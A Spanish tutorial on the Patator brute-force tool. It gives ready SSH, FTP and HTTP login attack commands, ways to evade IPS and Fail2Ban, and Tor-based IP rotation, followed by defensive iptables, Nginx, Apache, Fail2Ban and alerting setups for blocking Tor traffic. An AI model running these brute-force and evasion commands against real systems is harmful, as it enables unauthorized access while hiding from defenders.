Patator es una herramienta multipropósito de fuerza bruta para casi cualquier protocolo que necesites auditar
Patator es una herramienta multipropósito de fuerza bruta para casi cualquier protocolo que necesites auditar
Patator es una herramienta multipropósito de fuerza bruta escrita en Python e incluida por defecto en Kali Linux. A diferencia de otras herramientas como Hydra o Medusa, Patator está diseñada de forma modular: no tiene un único motor rígido, sino que cuenta con un módulo específico para casi cualquier protocolo que necesites auditar (SSH, FTP, HTTP, SMB, MySQL, etc.).
Su punto fuerte es el control granular sobre los hilos, los tiempos de respuesta y la gestión de errores, lo que minimiza los falsos positivos durante pruebas de penetración.
1. Sintaxis básica y estructura
Todos los comandos en Patator siguen una estructura modular similar:
patator <módulo> <parámetros_del_módulo> <opciones_de_fuerza_bruta>
Para ver la lista completa de módulos disponibles:
patator --help
O para ver la ayuda específica de un módulo concreto (por ejemplo, SSH):
patator ssh_login --help
2. Ejemplos de uso común
Ataque por fuerza bruta a SSH (ssh_login)
Ataque contra un usuario específico usando una lista de contraseñas (passwords.txt):
patator ssh_login host=192.168.1.50 user=admin password=FILE0 inputs_per_single_req=1 FILE0=passwords.txt -x ignore:mesg="Authentication failed"
host=192.168.1.50: Dirección IP de la víctima.user=admin: Nombre de usuario objetivo.password=FILE0: Indica que las contraseñas provienen del archivo definido enFILE0.FILE0=passwords.txt: Archivo con la lista de contraseñas.-x ignore:...: Regla para ignorar respuestas fallidas (evita saturar la consola con falsos positivos).
Ataque por fuerza bruta a FTP (ftp_login)
Ataque probando tanto nombres de usuario como contraseñas desde archivos externos:
patator ftp_login host=192.168.1.50 user=FILE0 password=FILE1 FILE0=users.txt FILE1=passwords.txt
Formulario web HTTP POST (http_fuzz)
Auditando un formulario de inicio de sesión web en un puerto personalizado:
patator http_fuzz url="http://192.168.1.50/login.php" method=POST body="username=admin&password=FILE0" accept_cookie=1 FILE0=passwords.txt header="Content-Type: application/x-www-form-urlencoded" -x ignore:code=200,substr="Usuario o contraseña incorrectos"
3. Opciones clave de optimización y filtrado
Incrustar archivos de diccionario: Usa las variables
FILE0,FILE1,FILE2, etc., para asignar diccionarios a diferentes campos (usuario, contraseña, parámetros HTTP).Filtrado de respuestas (
-x): Es fundamental para descartar respuestas fallidas.-x ignore:code=404(ignora respuestas HTTP 404).-x ignore:substr="Acceso denegado"(ignora respuestas que contengan esa cadena de texto).
Control de hilos: Por defecto Patator ajusta la velocidad, pero puedes definir la concurrencia añadiendo parámetros como
threads=10.
Módulos más utilizados en Patator
| Módulo | Protocolo / Servicio |
ssh_login | Servicios SSH |
ftp_login | Servidores FTP |
http_fuzz | Pruebas de formulación y rutas HTTP/HTTPS |
smb_login | Carpetas compartidas y autenticación SMB/Samba |
mysql_login | Bases de datos MySQL |
rdp_login | Escritorio remoto de Windows (RDP) |
dns_forward | Resolución inversa de nombres DNS / Fuerza bruta a subdominios |
Para evitar el bloqueo de IP por parte de sistemas de prevención de intrusiones (IPS) o firewalls como Fail2Ban, Patator ofrece dos mecanismos clave: control fino de frecuencias (intervalos de tiempo) y filtrado avanzado de respuestas (para diferenciar bloqueos reales de credenciales incorrectas).
1. Control de intervalos de tiempo y tasa de peticiones
Por defecto, Patator ejecuta múltiples hilos simultáneos tan rápido como el objetivo responda. Para hacer el ataque sigiloso y no disparar alertas por tasa alta de peticiones, puedes ajustar la concurrencia y los retardos entre peticiones.
Parámetros esenciales
threads=N: Define el número de hilos concurrentes. Para evadir detección, conviene fijarlo enthreads=1.rate_limit=N: Establece el número máximo de peticiones por segundo.pause=N: Introduce una pausa fija (en segundos) entre peticiones de un mismo hilo.
Ejemplo práctico (Ataque lento y continuo)
patator ssh_login host=192.168.1.50 user=admin password=FILE0 FILE0=passwords.txt threads=1 rate_limit=0.2 pause=5
¿Qué hace este comando?
Con
threads=1,rate_limit=0.2ypause=5, Patator enviará como máximo una petición cada 5 segundos, simulando el tráfico de un usuario legítimo que comete errores ocasionales al escribir su contraseña.
2. Reglas avanzadas de filtrado (-x)
Saber si tu IP ha sido bloqueada requiere filtrar las respuestas del servidor. El parámetro -x permite definir reglas de inclusión/exclusión basadas en expresiones regulares, códigos HTTP, longitud del cuerpo o tiempo de respuesta.
Sintaxis del parámetro -x
-x <acción>:<módulo_filtro>=<valor>
Acciones:
ignore(descarta el resultado de la salida),print(muestra el resultado) osave(guarda en archivo).
Filtros avanzados útiles para evasión y diagnóstico
A. Filtrar por longitud o contenido del cuerpo (Body/Substr)
Si el servidor responde con un mensaje de bloqueo como "IP temporalmente suspendida" o "Too many requests", puedes detectarlo asignando respuestas específicas.
patator http_fuzz url="http://192.168.1.50/login" method=POST body="user=admin&pass=FILE0" FILE0=passwords.txt \
-x ignore:code=200,substr="Login incorrecto" \
-x print:substr="Bloqueado"
ignore:code=200,substr="Login incorrecto": Descarta intentos fallidos estándar.print:substr="Bloqueado": Muestra inmediatamente si el IPS ha activado una regla de bloqueo contra tu IP.
B. Filtrar por tiempo de respuesta (time)
Cuando una IP es bloqueada por un firewall o rate-limiter a nivel de red (p. ej., iptables dejando caer paquetes o haciendo tarpit), las conexiones suelen caducar (timeout) o tardar mucho más de lo normal.
patator ssh_login host=192.168.1.50 user=admin password=FILE0 FILE0=passwords.txt \
-x ignore:mesg="Authentication failed" \
-x print:time>5
print:time>5: Si una petición tarda más de 5 segundos en responder, se imprime en pantalla. Esto suele indicar que el servidor comenzó a ralentizar o a descartar tus conexiones (tarpitting).
C. Filtrar por excepciones del sistema o del socket (mesg / errno)
Si la IP es bloqueada a nivel de TCP (recibiendo RST o Connection refused), puedes monitorear los errores de red:
patator ssh_login host=192.168.1.50 user=admin password=FILE0 FILE0=passwords.txt \
-x ignore:mesg="Authentication failed" \
-x print:mesg="Connection refused"
Si Patator empieza a mostrar
Connection refused, sabrás que la IP ha sido bloqueada y debes pausar el escaneo o rotar de dirección IP.
3. Ejemplo combinado: Ataque sigiloso con alerta de bloqueo
Este comando ejecuta una auditoría HTTP POST que limita la tasa de peticiones y monitoriega posibles bloqueos de red o de aplicación:
patator http_fuzz url="http://192.168.1.50/login.php" method=POST body="user=admin&pass=FILE0" FILE0=passwords.txt \
threads=1 rate_limit=0.5 \
-x ignore:code=200,substr="Contraseña no válida" \
-x print:code=429 \
-x print:substr="Too Many Requests"
threads=1 rate_limit=0.5: 1 hilo, máximo 1 petición cada 2 segundos.ignore:code=200,substr="Contraseña no válida": Oculta intentos fallidos normales.print:code=429: Alerta si el servidor devuelve un HTTP 429 (Too Many Requests).print:substr="Too Many Requests": Alerta si el mensaje de bloqueo viene en el texto de la respuesta.
Para enrutar el tráfico de Patator a través de un proxy SOCKS5 o de la red Tor existen dos métodos principales: utilizar los parámetros nativos de proxy que incorporan ciertos módulos (como http_fuzz) o emplear un enrutador a nivel de sistema como proxychains para los módulos que no disponen de opción de proxy integrada.
1. Uso de proxies nativos en Patator (Módulos HTTP)
Módulos como http_fuzz permiten definir directamente un servidor proxy HTTP o SOCKS5 mediante la variable proxy.
Sintaxis básica:
patator http_fuzz url="http://192.168.1.50/login.php" method=POST body="user=admin&pass=FILE0" FILE0=passwords.txt proxy=SOCKS5:127.0.0.1:9050
proxy=SOCKS5:127.0.0.1:9050: Redirige la conexión al puerto por defecto del servicio local de Tor o de cualquier proxy SOCKS5 local.
2. Redirección global mediante Proxychains
Para módulos de Patator que no cuentan con un parámetro de proxy nativo (como ssh_login o ftp_login), la alternativa en Linux es envolver la ejecución con proxychains4.
Paso 1: Configurar Proxychains
Asegúrate de que /etc/proxychains4.conf incluye la dirección del servidor proxy al final del archivo:
[ProxyList]
socks5 127.0.0.1 9050
Paso 2: Ejecutar Patator a través de Proxychains
proxychains4 patator ssh_login host=192.168.1.50 user=admin password=FILE0 FILE0=passwords.txt -x ignore:mesg="Authentication failed"
Nota: Cuando usas
proxychains, el socket TCP de la aplicación es interceptado a nivel de librería (LD_PRELOAD), haciendo que todo el tráfico salga a través del túnel configurado.
3. Rotación automática de IP con la red Tor
La red Tor no cambia de circuito IP en cada petición individual de forma predeterminada; los circuitos se renuevan periódicamente (por defecto cada 10 minutos) o cuando se envía una señal explícita.
Para forzar la cambio continuo de dirección IP se combinan las siguientes estrategias:
Opción A: Rotación por señal de control en Tor (NEWNYM)
Si tienes acceso al puerto de control de Tor (puerto 9051), puedes solicitar un nuevo circuito enviando la señal NEWNYM. En una terminal independiente o mediante un script en segundo plano:
# Habilitar el puerto de control en /etc/tor/torrc desmarcando "ControlPort 9051"
# Luego, solicitar una nueva identidad periódicamente:
echo -e 'AUTHENTICATE ""\nsignal NEWNYM\nQUIT' | nc 127.0.0.1 9051
Opción B: Balanceadores de carga / Proxies dinámicos
Herramientas intermedias como HAProxy o proxys de rotación como tor-router o privoxy crean un pool de conexiones SOCKS5 hacia múltiples circuitos de Tor, distribuyendo las peticiones salientes entre diferentes IPs de salida.
Consideraciones de rendimiento y latencia
Aumento de latencia: Enrutar conexiones a través de redes anónimas como Tor introduce un retardo considerable. Es necesario incrementar los límites de tiempo de espera (
timeout) dentro de Patator para evitar falsos negativos por caídas de conexión.Reducción de hilos (
threads): Un número alto de hilos sobre un solo canal SOCKS5 o nodo de salida de Tor provocará cuellos de botella y pérdida de paquetes. En entornos bajo proxy, se recomienda mantenerthreads=1othreads=2.
Para proteger un servidor frente a intentos de acceso no autorizados procedentes de la red Tor, el enfoque más efectivo combina dos capas: un cortafuegos dinámico (ipset + iptables/nftables) que bloquee preventivamente todos los nodos de salida conocidos, y Fail2Ban, que monitorice los registros de autenticación para aplicar bloqueos reactivos basados en el comportamiento.
1. Bloqueo preventivo en el cortafuegos mediante IPSet
La lista de nodos de salida de Tor (Tor Exit Nodes) es pública y el Proyecto Tor la actualiza constantemente. Bloquear estas IPs una a una con reglas individuales de iptables ralentizaría el sistema; por ello, la mejor práctica es usar IPSet.
Paso 1: Instalar dependencias
sudo apt update && sudo apt install ipset curl iptables -y
Paso 2: Crear un script de actualización automática (/usr/local/bin/block-tor.sh)
Crea este archivo para descargar la lista oficial de nodos de salida de Tor y cargarlos en el cortafuegos:
#!/bin/bash
# Nombre del conjunto IPSet
SET_NAME="tor-exit-nodes"
# Crear el conjunto ipset si no existe (almacena direcciones IPv4)
ipset create $SET_NAME hash:net -exist
# Crear una tabla temporal para actualizar sin interrumpir el tráfico
ipset create ${SET_NAME}-tmp hash:net -exist
ipset flush ${SET_NAME}-tmp
# Descargar la lista oficial de nodos de salida de Tor
curl -sSL https://check.torproject.org/torbulkexitlist | grep -E "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$" | while read ip; do
ipset add ${SET_NAME}-tmp $ip
done
# Intercambiar la lista temporal por la definitiva
ipset swap $SET_NAME ${SET_NAME}-tmp
ipset destroy ${SET_NAME}-tmp
# Aplicar la regla de iptables solo si no existe previamente
iptables -C INPUT -m set --match-set $SET_NAME src -j DROP 2>/dev/null
if [ $? -ne 0 ]; then
iptables -I INPUT -m set --match-set $SET_NAME src -j DROP
fi
Paso 3: Dar permisos de ejecución y programar en Cron
sudo chmod +x /usr/local/bin/block-tor.sh
sudo /usr/local/bin/block-tor.sh
Para mantener la lista de nodos actualizada automáticamente cada 6 horas, añade una tarea al crontab de root (sudo crontab -e):
0 */6 * * * /usr/local/bin/block-tor.sh >/dev/null 2>&1
2. Configuración de Fail2Ban con integración de IPSet
Si prefieres no bloquear todo el tráfico proveniente de Tor a nivel global, sino aplicar un bloqueo reactivo prolongado únicamente a las IPs de Tor que intenten ataques de fuerza bruta contra servicios específicos (SSH, HTTP, Nginx, etc.), puedes configurar Fail2Ban para que use ipset.
Paso 1: Configurar el Jail en Fail2Ban
Edita o crea el archivo /etc/fail2ban/jail.local:
[sshd]
enabled = true
port = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s
# Umbrales agresivos para intentos fallidos
maxretry = 3
findtime = 10m
# Tiempo de ban extendido (ej. 24 horas)
bantime = 86400
# Usar ipset para aplicar los bloqueos de forma eficiente
banaction = ipset-multiport
3. Verificación del funcionamiento
Para comprobar que las reglas están activas y bloqueando el tráfico entrante:
Verificar las IPs cargadas en IPSet:
sudo ipset list tor-exit-nodes | head -n 20
Verificar la regla de IPTables:
sudo iptables -L INPUT -v -n | grep tor-exit-nodes
En la salida del comando anterior, el contador de paquetes (pkts) e incremento de bytes aumentará cada vez que se intercepte y descarte una conexión proveniente de un nodo de salida de Tor.
Verificar el estado de los baneos en Fail2Ban:
sudo fail2ban-client status sshd
Para bloquear el tráfico procedente de nodos de salida de Tor en Nginx, el método más eficiente y recomendado es utilizar el módulo ngx_http_geo_module mediante mapas de direcciones IP (geo).
A diferencia del módulo GeoIP2 (que está pensado para ubicar países o ciudades geográficas y requiere bases de datos MaxMind), el módulo geo procesa directamente una lista plana de rangos de red e IPs individuales cargadas en memoria RAM, ejecutando el filtrado con un impacto de rendimiento prácticamente nulo.
Método recomendado: Módulo geo con lista automatizada
Paso 1: Configurar la estructura de mapeo en Nginx
Abre el archivo principal de configuración de Nginx (/etc/nginx/nginx.conf) o añade un archivo nuevo dentro de /etc/nginx/conf.d/block-tor.conf:
# Define la variable $is_tor_node basada en la IP del cliente ($remote_addr)
geo $remote_addr $is_tor_node {
default 0;
# Incluye la lista generada dinámicamente con las IPs de Tor
include /etc/nginx/conf.d/tor_exit_nodes.conf;
}
Si la IP del cliente coincide con alguna de las definidas en
tor_exit_nodes.conf, la variable$is_tor_nodetomará el valor1. De lo contrario, tomará el valor por defecto0.
Paso 2: Crear el script de actualización automática
Crea un script en /usr/local/bin/update-tor-nginx.sh para descargar la lista pública de nodos de salida y formatearla según la sintaxis del módulo geo de Nginx:
#!/bin/bash
# Archivo de salida de configuración de Nginx
OUTPUT_FILE="/etc/nginx/conf.d/tor_exit_nodes.conf"
TEMP_FILE="/tmp/tor_exit_nodes.tmp"
# Descargar la lista de nodos de salida de Tor y formatear como 'IP 1;'
curl -sSL https://check.torproject.org/torbulkexitlist | \
grep -E "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$" | \
sed 's/$/ 1;/' > "$TEMP_FILE"
# Validar que el archivo descargado no esté vacío antes de sobrescribir
if [ -s "$TEMP_FILE" ]; then
mv "$TEMP_FILE" "$OUTPUT_FILE"
# Recargar Nginx de forma silenciosa si la sintaxis es correcta
nginx -t >/dev/null 2>&1 && systemctl reload nginx
else
rm -f "$TEMP_FILE"
exit 1
fi
Da permisos de ejecución al script y ejecútalo por primera vez:
sudo chmod +x /usr/local/bin/update-tor-nginx.sh
sudo /usr/local/bin/update-tor-nginx.sh
El archivo generado /etc/nginx/conf.d/tor_exit_nodes.conf tendrá una sintaxis similar a esta:
103.208.220.122 1;
104.244.76.13 1;
107.189.11.168 1;
...
Paso 3: Aplicar la regla de bloqueo en los virtual hosts
Abre la configuración del sitio web donde quieras aplicar el bloqueo (por ejemplo, /etc/nginx/sites-available/default) y añade la condición dentro del bloque server o dentro de ubicaciones específicas (location):
Opción A: Bloqueo global en todo el sitio web (HTTP 403 Forbidden)
server {
listen 80;
listen 443 ssl;
server_name ejempositio.com;
# Bloquear peticiones provenientes de Tor
if ($is_tor_node = 1) {
return 403 "Acceso denegado desde la red Tor.";
}
# Resto de la configuración...
}
Opción B: Bloqueo selectivo solo en formularios sensibles (Login, Registro, API)
Si quieres permitir la navegación libre pero evitar ataques de fuerza bruta en rutas críticas:
server {
listen 443 ssl;
server_name ejempositio.com;
location /login.php {
if ($is_tor_node = 1) {
return 429 "Demasiadas peticiones o acceso no permitido desde Tor.";
}
# Procesamiento normal del login
fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
include fastcgi_params;
}
}
Paso 4: Programar la actualización en Cron
Dado que la lista de nodos de salida de Tor cambia con frecuencia, programa una tarea en cron para actualizar la lista cada 12 horas:
sudo crontab -e
Añade la siguiente línea al final del archivo:
0 */12 * * * /usr/local/bin/update-tor-nginx.sh >/dev/null 2>&1
Nginx detrás de un Proxy Inverso o CDN (Cloudflare, HAProxy)
Si Nginx está ubicado detrás de un balanceador de carga, un proxy inverso o una CDN (como Cloudflare), la IP observada por Nginx ($remote_addr) corresponderá a la IP de la CDN y no a la IP real del cliente.
Para solucionar esto, añade el módulo real_ip en la configuración global de Nginx (/etc/nginx/nginx.conf):
# Indicar a Nginx que lea la IP real de la cabecera X-Forwarded-For
set_real_ip_from 10.0.0.0/8; # Subred de tu proxy o CDN
real_ip_header X-Forwarded-For;
real_ip_recursive on;
De esta forma, la variable $remote_addr se sobrescribirá con la IP real del usuario de Tor y el módulo geo funcionará correctamente.
Para bloquear peticiones procedentes de nodos de salida de Tor en Apache HTTP Server, el método más flexible y de mayor rendimiento es utilizar el módulo mod_rewrite en combinación con un archivo de inclusión que contenga la lista de IPs actualizada.
Al igual que en Nginx, definir estas reglas a nivel de configuración principal permite que Apache descarte o rechace el tráfico antes de procesar scripts pesados de PHP o consultas a bases de datos.
Método recomendado: mod_rewrite con archivo de reglas dinámico
Paso 1: Asegurar que mod_rewrite esté activo
En distribuciones basadas en Debian/Ubuntu, activa el módulo ejecutando:
sudo a2enmod rewrite
sudo systemctl restart apache2
Paso 2: Crear el script de automatización para la lista de IPs
Crea un script en /usr/local/bin/update-tor-apache.sh que descargue la lista oficial de nodos de salida de Tor y la transforme en directivas de mod_rewrite:
#!/bin/bash
# Rutas de los archivos de salida y temporales
OUTPUT_FILE="/etc/apache2/tor_block.conf"
TEMP_FILE="/tmp/tor_block.tmp"
# Descargar la lista de nodos e IP y darle formato Require not ip o RewriteCond
echo "# Lista automatizada de nodos de salida de Tor" > "$TEMP_FILE"
curl -sSL https://check.torproject.org/torbulkexitlist | \
grep -E "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$" | \
while read ip; do
echo "RewriteCond %{REMOTE_ADDR} ^${ip}$ [OR]" >> "$TEMP_FILE"
done
# Eliminar el último [OR] sobrante de la última línea generada
sed -i '$ s/ \[OR\]$//' "$TEMP_FILE"
# Validar que el archivo no esté vacío antes de aplicar cambios
if [ -s "$TEMP_FILE" ]; then
mv "$TEMP_FILE" "$OUTPUT_FILE"
# Recargar Apache de forma limpia
apachectl configtest >/dev/null 2>&1 && systemctl reload apache2
else
rm -f "$TEMP_FILE"
exit 1
fi
Asigna permisos de ejecución al script y ejecútalo manualmente la primera vez:
sudo chmod +x /usr/local/bin/update-tor-apache.sh
sudo /usr/local/bin/update-tor-apache.sh
El archivo generado /etc/apache2/tor_block.conf tendrá un formato similar a este:
# Lista automatizada de nodos de salida de Tor
RewriteCond %{REMOTE_ADDR} ^103\.208\.220\.122$ [OR]
RewriteCond %{REMOTE_ADDR} ^104\.244\.76\.13$ [OR]
...
RewriteCond %{REMOTE_ADDR} ^107\.189\.11\.168$
Paso 3: Aplicar el bloqueo en la configuración del sitio web
Abre el archivo de configuración de tu VirtualHost (por ejemplo /etc/apache2/sites-available/000-default.conf o dentro de tu archivo .htaccess si no tienes acceso a la configuración raíz):
Opción A: Bloqueo global en todo el VirtualHost (HTTP 403 Forbidden)
<VirtualHost *:80>
ServerName tusitio.com
DocumentRoot /var/www/html
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
# Bloqueo de Tor mediante mod_rewrite
RewriteEngine On
# Incluir el archivo de condiciones descargado
Include /etc/apache2/tor_block.conf
# Si se cumple alguna condición previa, denegar acceso (403)
RewriteRule ^ - [F,L]
</Directory>
</VirtualHost>
Opción B: Bloqueo exclusivo en rutas o formularios específicos (ej. /login.php)
Si solo deseas proteger rutas sensibles contra accesos desde Tor:
<Directory /var/www/html>
RewriteEngine On
# Aplicar las condiciones de Tor solo si se solicita la página de login
RewriteCond %{REQUEST_URI} ^/login\.php$ [NC]
Include /etc/apache2/tor_block.conf
RewriteRule ^ - [F,L]
</Directory>
Método alternativo: Módulo de autorización mod_authz_core (Apache 2.4+)
Si prefieres usar la sintaxis moderna de control de acceso basada en la directiva Require:
Genera un archivo
/etc/apache2/tor_require.confformateado con líneas tipoRequire not ip X.X.X.X.En tu archivo de configuración de Apache, agrúpalo usando un bloque
<RequireAll>:
<Directory /var/www/html>
<RequireAll>
Require all granted
Include /etc/apache2/tor_require.conf
</RequireAll>
</Directory>
Paso 4: Programar la actualización periódica en Cron
Como los nodos de salida de Tor cambian de forma constante, añade una tarea a cron para actualizar la lista automáticamente (por ejemplo, cada 12 horas):
sudo crontab -e
Añade la siguiente línea:
0 */12 * * * /usr/local/bin/update-tor-apache.sh >/dev/null 2>&1
Apache detrás de un Proxy Inverso o CDN
Si Apache se encuentra tras una CDN (como Cloudflare) o un balanceador de carga, la IP del cliente leída en %{REMOTE_ADDR} corresponderá al proxy intermediario. Para corregirlo, habilita el módulo mod_remoteip:
sudo a2enmod remoteip
Configura en /etc/apache2/conf-available/remoteip.conf:
RemoteIPHeader X-Forwarded-For
RemoteIPInternalProxy 10.0.0.0/8 # Subred o IP de tu CDN / Proxy
Activa la configuración y recarga Apache:
sudo a2enconf remoteip
sudo systemctl reload apache2
Con esto, %{REMOTE_ADDR} contendrá la IP real del usuario de Tor y las reglas de bloqueo funcionarán correctamente.
Para registrar y recibir alertas de las peticiones procedentes de Tor que son bloqueadas por tu servidor web, la estrategia consiste en separar los eventos de bloqueo en un archivo de registros dedicado y, opcionalmente, usar un demonio como Fail2Ban o un script ligero para enviar notificaciones en tiempo real (a través de Telegram, Discord o correo electrónico).
1. Configuración del registro de logs dedicado
En lugar de mezclar los bloqueos de Tor con el resto de peticiones en el access.log habitual, es conveniente enviar únicamente las peticiones bloqueadas a un archivo específico (por ejemplo, /var/log/nginx/tor_blocked.log o /var/log/apache2/tor_blocked.log).
En Nginx
Utiliza la directiva access_log combinada con un formato de registro personalizado para capturar detalles clave de la petición bloqueada.
Paso 1: Definir el formato de log y la condición en /etc/nginx/nginx.conf
http {
# Formato detallado para auditar la petición bloqueada
log_format tor_blocked '$remote_addr - [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent"';
# Mapeo de la variable $is_tor_node (previamente configurada)
geo $remote_addr $is_tor_node {
default 0;
include /etc/nginx/conf.d/tor_exit_nodes.conf;
}
}
Paso 2: Registrar y denegar en el VirtualHost (/etc/nginx/sites-available/default)
server {
listen 80;
listen 443 ssl;
server_name tusitio.com;
# Guardar en tor_blocked.log SOLAMENTE cuando $is_tor_node sea igual a 1
access_log /var/log/nginx/tor_blocked.log tor_blocked if=$is_tor_node;
# Aplicar el bloqueo
if ($is_tor_node = 1) {
return 403 "Acceso denegado desde la red Tor.";
}
# Registro estándar para el resto del tráfico legítimo
access_log /var/log/nginx/access.log;
}
En Apache
En Apache, se puede combinar mod_rewrite (o la directiva SetEnvIf) con la directiva CustomLog condicional.
En el archivo de tu VirtualHost (/etc/apache2/sites-available/000-default.conf):
<VirtualHost *:80>
ServerName tusitio.com
DocumentRoot /var/www/html
<Directory /var/www/html>
RewriteEngine On
# Cargar las condiciones de IP de Tor
Include /etc/apache2/tor_block.conf
# Si coincide con una IP de Tor, marcar una variable de entorno "IS_TOR=1" y denegar (403)
RewriteRule ^ - [E=IS_TOR:1,F,L]
</Directory>
# Formato de registro para peticiones Tor
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" tor_format
# Escribir en el log dedicado solo si la variable IS_TOR está presente
CustomLog /var/log/apache2/tor_blocked.log tor_format env=IS_TOR
</VirtualHost>
2. Configuración de alertas en tiempo real
Una vez que los eventos de bloqueo se registran en un archivo dedicado (tor_blocked.log), puedes enviar notificaciones instantáneas.
Opción A: Alertas a Telegram o Discord mediante un script ligero en bash
Puedes crear un servicio en segundo plano que ejecute tail -f sobre el archivo de log y envíe una notificación cada vez que aparezca una nueva entrada.
Script de alerta para Telegram (/usr/local/bin/notify-tor.sh):
#!/bin/bash
LOG_FILE="/var/log/nginx/tor_blocked.log" # O /var/log/apache2/tor_blocked.log
BOT_TOKEN="TU_BOT_TOKEN_TELEGRAM"
CHAT_ID="TU_CHAT_ID"
# Monitorear las nuevas líneas del archivo de log
tail -Fn0 "$LOG_FILE" | while read -r line; do
# Extraer la IP, fecha y petición del log
IP=$(echo "$line" | awk '{print $1}')
REQ=$(echo "$line" | grep -oP '"\K[^"]+')
# Construir el mensaje
MESSAGE="🚨 *Petición bloqueada desde Tor*%0A*IP:* \`$IP\`%0A*Detalles:* \`$REQ\`"
# Enviar notificación vía API de Telegram
curl -s -X POST "https://api.telegram.org/bot${BOT_TOKEN}/sendMessage" \
-d "chat_id=${CHAT_ID}" \
-d "parse_mode=Markdown" \
-d "text=${MESSAGE}" > /dev/null
done
Dar permisos y ejecutar como servicio del sistema:
sudo chmod +x /usr/local/bin/notify-tor.sh
Crea el archivo /etc/systemd/system/tor-notifier.service:
[Unit]
Description=Notificador en tiempo real de peticiones Tor bloqueadas
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/notify-tor.sh
Restart=always
RestartSec=3
[Install]
WantedBy=multi-user.target
Inicia y habilita el servicio:
sudo systemctl daemon-reload
sudo systemctl enable --now tor-notifier
Opción B: Alertas por correo electrónico usando Fail2Ban
Si prefieres recibir informes por correo electrónico cuando una misma IP de Tor intente realizar peticiones repetidas a pesar del bloqueo:
Edita
/etc/fail2ban/jail.local:
[tor-blocked-monitoring]
enabled = true
port = http,https
filter = tor-blocked-filter
logpath = /var/log/nginx/tor_blocked.log
maxretry = 5
findtime = 600
action = %(action_mwl)s
destemail = admin@tusitio.com
sender = fail2ban@tusitio.com
Crea el filtro
/etc/fail2ban/filter.d/tor-blocked-filter.conf:
[Definition]
failregex = ^<HOST> - - \[.*\] ".*" (403|429)
ignoreregex =
Cada vez que una IP de Tor genere 5 bloqueos en un intervalo de 10 minutos, Fail2Ban enviará un correo electrónico formal con el resumen del incidente y los registros asociados.